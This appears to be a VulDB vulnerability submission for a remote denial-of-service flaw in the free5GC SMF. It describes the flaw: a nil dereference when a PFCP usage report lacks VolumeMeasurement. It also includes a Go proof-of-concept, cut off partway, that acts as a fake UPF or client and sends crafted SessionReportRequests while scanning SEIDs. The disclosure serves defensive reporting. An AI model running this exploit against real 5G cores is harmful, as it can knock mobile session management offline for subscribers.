Submit #739655: free5gc SMF v4.1.0 Denial of Serviceinfo

Titelfree5gc SMF v4.1.0 Denial of Service
Beschreibung## Bug Decription free5GC SMF can be crashed remotely via its PFCP UDP endpoint by sending a PFCP Session Report Request with `ReportType.USAR = true and a UsageReport IE present` but missing the `VolumeMeasurement` sub-IE inside the UsageReport. In this case, SMF enters the report handling path and dereferences report.VolumeMeasurement without a nil check. Specifically: smf/internal/pfcp/handler.HandlePfcpSessionReportRequest() calls into context.(*SMContext).HandleReports() (pfcp_reports.go:23), which accesses report.VolumeMeasurement.TotalVolume If VolumeMeasurement is absent, report.VolumeMeasurement is nil, causing a nil pointer dereference panic The PFCP dispatcher runs handlers in a goroutine (udp.go:71) without panic recovery, so the entire SMF process exits, resulting in remote denial of service. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ## To Reproduce Steps to reproduce the behavior: 1) Start fake UPF mode: code ```go // Vuln-PA2-04: SMF Nil Pointer Dereference via Missing VolumeMeasurement // Target: free5gc SMF // Impact: Denial of Service - SMF process crash // // Vulnerability: When SessionReportRequest has ReportType.Usar=true and UsageReport IE // is present but VolumeMeasurement sub-IE is missing, pfcp_reports.go:23 accesses // report.VolumeMeasurement.TotalVolume causing nil dereference. package main import ( "encoding/binary" "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) func main() { mode := flag.String("mode", "client", "Mode: client or fake-upf") targetIP := flag.String("target", "10.100.200.6", "Target SMF IP address (client mode)") targetPort := flag.Int("port", 8805, "Target SMF PFCP port (client mode)") nodeID := flag.String("node", "10.100.200.2", "NodeID used in Association Setup / fake UPF") seid := flag.Uint64("seid", 1, "Target session SEID (client mode; must be valid existing session)") scan := flag.Int("scan", 1, "Number of consecutive SEIDs to try starting from -seid (client mode)") srTimeout := flag.Duration("sr-timeout", 2*time.Second, "Timeout waiting for SessionReportResponse (client mode)") listenIP := flag.String("listen", "x.x.x.x", "Listen IP for fake UPF") listenPort := flag.Int("listen-port", 8805, "Listen PFCP port for fake UPF") reportDelay := flag.Duration("report-delay", 0, "Delay before sending SessionReportRequest (fake-upf mode)") smfIP := flag.String("smf", "10.100.200.6", "SMF PFCP IP (fake-upf mode)") smfPort := flag.Int("smf-port", 8805, "SMF PFCP port (fake-upf mode)") sendAssoc := flag.Bool("send-assoc", true, "Send AssociationSetupRequest to SMF on startup (fake-upf mode)") flag.Parse() switch *mode { case "client": runClient(*targetIP, *targetPort, *nodeID, *seid, *scan, *srTimeout) case "fake-upf": runFakeUPF(*listenIP, *listenPort, *nodeID, *reportDelay, *smfIP, *smfPort, *sendAssoc) default: log.Fatalf("[-] Unknown mode: %s", *mode) } } func runClient(targetIP string, targetPort int, nodeID string, seid uint64, scan int, srTimeout time.Duration) { targetAddr := fmt.Sprintf("%s:%d", targetIP, targetPort) log.Printf("[*] Vuln-PA2-04: SMF Nil Pointer Dereference PoC") log.Printf("[*] Target: %s", targetAddr) log.Printf("[*] NodeID: %s", nodeID) log.Printf("[*] Attack: SessionReportRequest with UsageReport but no VolumeMeasurement") log.Printf("[*] SEID: %d (0x%x)", seid, seid) if scan > 1 { log.Printf("[*] SEID scan: %d attempts starting from %d", scan, seid) } raddr, err := net.ResolveUDPAddr("udp", targetAddr) if err != nil { log.Fatalf("[-] Failed to resolve target address: %v", err) } conn, err := net.DialUDP("udp", nil, raddr) if err != nil { log.Fatalf("[-] Failed to create UDP connection: %v", err) } defer conn.Close() log.Printf("[*] Step 0: Establishing PFCP Association...") if !establishAssociation(conn, nodeID) { log.Printf("[-] Failed to establish association") return } log.Printf("[+] Association established successfully") time.Sleep(500 * time.Millisecond) log.Printf("[*] Vulnerability: pfcp_reports.go:23") log.Printf("[*] usageReport.TotalVolume = report.VolumeMeasurement.TotalVolume // nil deref!") log.Printf("[*] Path: handler.go:194 -> HandleReports() when ReportType.Usar=true") if scan < 1 { log.Fatalf("[-] scan must be >= 1") } for i := 0; i < scan; i++ { currentSeid := seid + uint64(i) currentSeq := uint32(2 + i) payload := buildSessionReportRequestUsarNoVolume(currentSeid, currentSeq) log.Printf("[*] Sending malicious SessionReportRequest...") log.Printf("[*] SEID: %d (0x%x) Seq: %d", currentSeid, currentSeid, currentSeq) log.Printf("[*] Message length: %d bytes", len(payload)) _, err = conn.Write(payload) if err != nil { log.Fatalf("[-] Failed to send message: %v", err) } log.Printf("[+] Message sent successfully") if srTimeout <= 0 { break } rsp, err := waitSessionReportResponse(conn, srTimeout) if err != nil { if nerr, ok := err.(net.Error); ok && nerr.Timeout() { log.Printf("[*] No SessionReportResponse (timeout) - possible crash or drop") } else { log.Printf("[-] Failed to read SessionReportResponse: %v", err) } break } cause, ok := sessionReportCause(rsp) if !ok { log.Printf("[*] SessionReportResponse received without Cause IE") break } if cause == ie.CauseSessionContextNotFound { log.Printf("[-] SEID %d not found on SMF", currentSeid) continue } log.Printf("[*] SessionReportResponse Cause: %d", cause) break } log.Printf("[*] Waiting for crash propagation...") log.Printf("[*] NOTE: Requires valid session with established UPF association") time.Sleep(2 * time.Second) probeSmf(conn) } func runFakeUPF(listenIP string, listenPort int, nodeID string, reportDelay time.Duration, smfIP string, smfPort int, sendAssoc bool) { listenAddr := fmt.Sprintf("%s:%d", listenIP, listenPort) laddr, err := net.ResolveUDPAddr("udp", listenAddr) if err != nil { log.Fatalf("[-] Failed to resolve listen address: %v", err) } conn, err := net.ListenUDP("udp", laddr) if err != nil { log.Fatalf("[-] Failed to listen on %s: %v", listenAddr, err) } defer conn.Close() log.Printf("[*] Fake UPF mode: listening on %s", listenAddr) log.Printf("[*] Fake UPF NodeID: %s", nodeID) log.Printf("[*] SMF target: %s:%d", smfIP, smfPort) log.Printf("[*] Waiting for AssociationSetupResponse, SessionEstablishmentRequest, and SessionModificationRequest...") var smfAddr *net.UDPAddr if sendAssoc { target := fmt.Sprintf("%s:%d", smfIP, smfPort) var err error smfAddr, err = net.ResolveUDPAddr("udp", target) if err != nil { log.Fatalf("[-] Failed to resolve SMF address: %v", err) } if err := sendAssociationSetupRequest(conn, smfAddr, nodeID, 1); err != nil { log.Printf("[-] Failed to send AssociationSetupRequest: %v", err) } else { log.Printf("[+] AssociationSetupRequest sent to %s", target) } } buf := make([]byte, 4096) reportSeq := uint32(100) assocDone := false reportPending := false reportSent := false var cpSeid uint64 var smfPeer *net.UDPAddr for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[-] Read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[-] Failed to parse PFCP message from %s: %v", raddr, err) continue } switch m := msg.(type) { case *message.AssociationSetupResponse: log.Printf("[+] AssociationSetupResponse from %s (cause=%v)", raddr, m.Cause) assocDone = true case *message.AssociationSetupRequest: reqNodeID := nodeIDFromIE(m.NodeID) log.Printf("[*] AssociationSetupRequest from %s (NodeID: %s)", raddr, reqNodeID) if err := sendAssociationSetupResponse(conn, raddr, nodeID, m.Sequence()); err != nil { log.Printf("[-] Failed to send AssociationSetupResponse: %v", err) } else { log.Printf("[+] AssociationSetupResponse sent") } assocDone = true case *message.SessionEstablishmentRequest: reqNodeID := nodeIDFromIE(m.NodeID) cpSeidFromReq, fseidInfo, ok := cpfSeidFromSessionEstablishment(m) if !ok { log.Printf("[-] SessionEstablishmentRequest missing CPFSEID (NodeID: %s)", reqNodeID) continue } log.Printf("[*] SessionEstablishmentRequest from %s (NodeID: %s)", raddr, reqNodeID) log.Printf("[*] CPFSEID: %d (0x%x) IPv4=%s IPv6=%s", cpSeidFromReq, cpSeidFromReq, ipString(fseidInfo.IPv4Address), ipString(fseidInfo.IPv6Address)) if !assocDone { log.Printf("[!] SessionEstablishmentRequest received before AssociationSetupResponse") } if err := sendSessionEstablishmentResponse(conn, raddr, nodeID, listenIP, cpSeidFromReq, m.Sequence()); err != nil { log.Printf("[-] Failed to send SessionEstablishmentResponse: %v", err) } else { log.Printf("[+] SessionEstablishmentResponse sent") } cpSeid = cpSeidFromReq smfPeer = raddr reportPending = true log.Printf("[*] Report armed: waiting for SessionModificationRequest before sending SessionReportRequest") case *message.SessionModificationRequest: reqSeid := m.SEID() log.Printf("[*] SessionModificationRequest from %s (SEID: %d)", raddr, reqSeid) if err := sendSessionModificationResponse(conn, raddr, reqSeid, m.Sequence()); err != nil { log.Printf("[-] Failed to send SessionModificationResponse: %v", err) } else { log.Printf("[+] SessionModificationResponse sent") } if reportPending && !reportSent && hasBufferedUpdateFAR(m) { if reportDelay > 0 { log.Printf("[*] Waiting %s before sending SessionReportRequest...", reportDelay) time.Sleep(reportDelay) }
Quelle⚠️ https://github.com/free5gc/free5gc/issues/806
Benutzer
 ZiyuLin (UID 93568)
Einreichung15.01.2026 09:18 (vor 3 Monaten)
Moderieren30.01.2026 08:36 (15 days later)
StatusAkzeptiert
VulDB Eintrag343477 [Free5GC SMF bis 4.1.0 PFCP UDP Endpoint pfcp_reports.go HandleReports Denial of Service]
Punkte20

Want to know what is going to be exploited?

We predict KEV entries!